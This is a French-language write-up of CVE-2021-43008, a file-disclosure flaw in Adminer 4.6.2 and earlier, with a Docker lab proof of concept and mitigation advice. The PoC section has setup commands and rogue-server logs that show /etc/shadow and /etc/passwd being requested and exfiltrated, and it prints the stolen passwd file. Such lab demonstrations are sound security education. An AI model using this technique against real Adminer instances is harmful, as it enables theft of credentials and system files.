Share 
## https://sploitus.com/exploit?id=73652CE0-BED7-5A82-B998-4FCE4754A82A
# **CVE-2021-43008 — VulnĂ©rabilitĂ© Adminer **

## **Lecture arbitraire de fichiers via un serveur MySQL malveillant**

### **1. Qu’est-ce qu’Adminer ?**

Adminer est un outil web (PHP) permettant d’administrer facilement des bases de donnĂ©es MySQL, PostgreSQL, SQLite ou SQL Server.
 Il est couramment déployé comme alternative légÚre à phpMyAdmin.

Versions concernĂ©es : **Adminer ≀ 4.6.2**

------

### **2. Quelle est la nature de la vulnérabilité ?**

#### **2.1. DĂ©faillance d’Access Control**

Adminer autorise la connexion à **n’importe quel serveur MySQL distant**.
Or, lors de la connexion Ă  un serveur MySQL, le client (ici Adminer) accepte :

- un ensemble d’instructions initiales du serveur,
- dont la commande **LOAD DATA LOCAL INFILE**, qui permet au serveur de demander au client de lui envoyer un fichier local.

#### **2.2. ProblĂšme**

Adminer ne valide **pas** correctement les réponses du serveur MySQL dans les versions vulnérables.

RĂ©sultat :
Un serveur MySQL contrÎlé par un attaquant peut demander :

> “Lis ce fichier local sur la machine ou conteneur qui hĂ©berge Adminer et envoie-le moi.”

Ce mécanisme est lié au paquet MySQL :
 `0xFB | filename` → dĂ©clenche la lecture locale du fichier.



#### Pourquoi la version 4.6.2 est vulnérable

Adminer 4.6.2 permettait Ă  un utilisateur de **spĂ©cifier un serveur MySQL externe** et de s’y connecter librement.
 Or, MySQL permettait en plus — par dĂ©faut — l’utilisation de :

- `LOAD DATA LOCAL INFILE`
- en mode automatique lorsque certains serveurs demandaient un fichier.

Donc :
**Adminer → connecte au serveur malveillant → le serveur malveillant demande un fichier → Adminer l’envoie.**

C’est l’essence de la vulnĂ©rabilitĂ©.

------

### **3. Conditions d’exploitation**

L’attaquant doit :

1. **HĂ©berger un serveur MySQL malveillant** (Rogue MySQL Server).
2. **Amener Adminer Ă  se connecter Ă  son serveur** :
   - via une erreur de configuration,
   - via une interface exposée publiquement,
   - via une action d’un utilisateur (attaque de type “supply host”).
3. Le serveur MySQL rogue renvoie un paquet `LOAD DATA LOCAL INFILE`.
4. Adminer lit un fichier local.
5. Le fichier est renvoyĂ© Ă  l’attaquant.

Aucun mot de passe root n’est nĂ©cessaire pour exfiltrer un fichier local : c’est Adminer qui exĂ©cute l’action en tant qu'application PHP sur le serveur cible.

------

### **4. Conséquences de la vulnérabilité**

#### **4.1. Compromission de la confidentialité**

L’attaquant peut :

- lire **/etc/passwd** (de l'entité qui héberge adminer : machine hÎte ou conteneur),
- lire **/etc/shadow** (selon les permissions de l’utilisateur PHP),
- récupérer **les fichiers de configuration**,
- voler **les identifiants de connexions MySQL**,
- extraire **toutes les informations accessibles par l’utilisateur web**.

#### **4.2. Escalade d’impact**

Avec les identifiants MySQL volés (étape secondaire), il peut ensuite :

- se connecter Ă  la vraie base interne,
- lire les données,
- Ă©crire dans les tables,
- injecter des charges malveillantes.

------

### **5. DĂ©monstration pratique (PoC) — Architecture du lab**

Le PoC se fait dans un environnement **isolé** et **conteneurisé** pour éviter tout risque.

#### **5.1. Composants du lab**

1. **Adminer vulnérable (version 4.6.2)**
    RĂŽle : victime
    Exposé en local via `localhost:8080`
2. **MySQL légitime (optionnel)**
    RÎle : simuler une base réelle
3. **Rogue MySQL Server (Python)**
    RĂŽle : attaquant
    Il envoie les paquets `0xFB filename` pour forcer Adminer Ă  lire un fichier local.

#### **5.2. Structure du dossier**

```basic
adminer_CVE-2021-43008/
│
├── README.md
├── docker-compose.yml
│
└──rogue_mysql_server/
	├── rogue_mysql_server.py
	├── requirements.txt
	└── Dockerfile
```

------

### **6. Déroulement du PoC : comment la vulnérabilité se manifeste ?**

#### **6.1. DĂ©marrer le lab**

```bash
docker compose build && docker compose up -d
```

#### **6.2. Connexion depuis Adminer au Rogue Server**

Dans `http://localhost:8080` :

- SystĂšme : **MySQL**
- Serveur : `rogue_mysql:33306`
- User : n’importe
- Mot-de-passe : n’importe

#### **6.3. DĂ©roulement automatique**

1. Adminer envoie le handshake.
2. Le Rogue MySQL renvoie `LOAD DATA LOCAL INFILE '/etc/passwd'`.
3. Adminer lit `/etc/passwd`.
4. Adminer envoie son contenu au rogue.
5. Le rogue stocke le texte dans `stolen_file.txt`.

#### **6.4. Résultat observé**

Utiliser la commande suivante pour observer les logs du rogue : 

```bash
docker logs -f rogue_mysql
```

RĂ©sultat attendu : 

```less
2025-11-27 16:59:54,248:INFO:Serving on ('0.0.0.0', 33306)
2025-11-27 17:02:55,213:INFO:Conn from: ('172.18.0.3', 37200)
2025-11-27 17:02:55,214:INFO:Last packet
2025-11-27 17:02:55,214:INFO:Query
2025-11-27 17:02:55,214:INFO:Requesting file: /etc/shadow
2025-11-27 17:02:55,215:INFO:-- Received file data
2025-11-27 17:02:55,215:INFO:Result length: 1 bytes
2025-11-27 17:02:55,215:INFO:Last packet
2025-11-27 17:02:55,216:INFO:Query
2025-11-27 17:02:55,216:INFO:Requesting file: /etc/passwd
2025-11-27 17:02:55,216:INFO:-- Received file data
2025-11-27 17:02:55,217:INFO:Result length: 920 bytes
2025-11-27 17:02:55,217:INFO:File content received: 919 bytes
2025-11-27 17:02:55,217:INFO:File saved to stolen_file.txt
```

Consulter le contenu du fichier stolen_file.txt :

```bash
docker exec -it rogue_mysql sh
```

Une fois à l'intérieur du conteneur, tu pourra visualiser les contenus des fichiers dont `stolen_file.txt`

```sh
# ls
mysql.log  requirements.txt  rogue_mysql_server.py  stolen_file.txt
```

```sh
# cat stolen_file.txt
```

RĂ©sultat : 

```less
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/bin/false
```

Ce résultat démontre la vulnérabilité sans ambiguïté.



### **7. Mesures de mitigation**

#### **A. Mettre à jour Adminer (ça seule suffit)**

Solution la plus fiable :
 **Passer Ă  Adminer ≄ 4.6.3**

Les versions postérieures corrigent le comportement réseau.

#### Ce qui a été corrigé dans les versions suivantes

À partir d’Adminer **4.7.x**, plusieurs protections ont Ă©tĂ© introduites :

**Adminer interdit désormais par défaut `LOAD DATA LOCAL INFILE`**

Soit :

- désactivé complÚtement
- ou activĂ© uniquement lorsque explicitement autorisĂ© par l’utilisateur

→ RĂ©sultat : ton rogue MySQL ne peut plus exfiltrer de fichiers.

**Adminer filtre les actions du client avant envoi au serveur**

Cela empĂȘche les connexions externes d’utiliser des fonctions dangereuses.

**MĂ©canismes supplĂ©mentaires de validation d’entrĂ©e**

Les nouvelles versions vérifient :

- si le serveur cible est celui attendu
- si l’action n’est pas dangereuse
- si la requĂȘte correspond bien Ă  une action utilisateur lĂ©gitime

------



#### **B. DĂ©sactiver les connexions externes**

Limiter Adminer aux seuls hĂŽtes internes :

- via firewall (OUTPUT + DOCKER NETWORKS),
- via reverse proxy filtré,
- via configuration réseau strictement localisée.

L’Adminer de production doit **toujours** pointer vers un MySQL interne.

------

#### **C. Désactiver `LOCAL INFILE` cÎté MySQL**

EmpĂȘche le vol via client MySQL lĂ©gitime :

```ini
[mysqld]
local_infile=0
```

ou :

```bash
SET GLOBAL local_infile=0;
```

------

#### **D. Ne jamais exposer Adminer publiquement**

Adminer ne doit pas ĂȘtre accessible sur Internet.

En production :

- accÚs limité via VPN,
- SSO ou authentification forte,
- expiration automatique.

------

#### **E. Supprimer Adminer aprĂšs usage**

Adminer doit ĂȘtre vu comme un outil *temporaire* :

- on le déploie pour une tùche ponctuelle,
- on le supprime ensuite.

------

### **8. Ressources et références fiables**

- Source du script python utilisé : https://github.com/Gifts/Rogue-MySql-Server/blob/master/rogue_mysql_server.py
- Site officiel Adminer
   https://www.adminer.org/en/
- Sansec (publication initiale)
   https://sansec.io/research/adminer-4.6.2-file-disclosure-vulnerability
- Podalirius (explications techniques + PoC)
   https://podalirius.net/en/cves/2021-43008/
- vulhub : https://github.com/vulhub/vulhub/blob/master/adminer/CVE-2021-43008/

------

### **9. Résumé final**

CVE-2021-43008 est une vulnĂ©rabilitĂ© critique d’Adminer ≀ 4.6.2 qui permet :

- Ă  un attaquant contrĂŽlant un serveur MySQL,
- d'obliger Adminer Ă  lire un fichier local,
- puis à en exfiltrer le contenu vers l’attaquant.

C’est une dĂ©monstration parfaite de l’importance :

- du contrÎle réseau,
- des restrictions client MySQL,
- de la non-exposition d’outils d’administration,
- de la gestion des versions logicielles.

------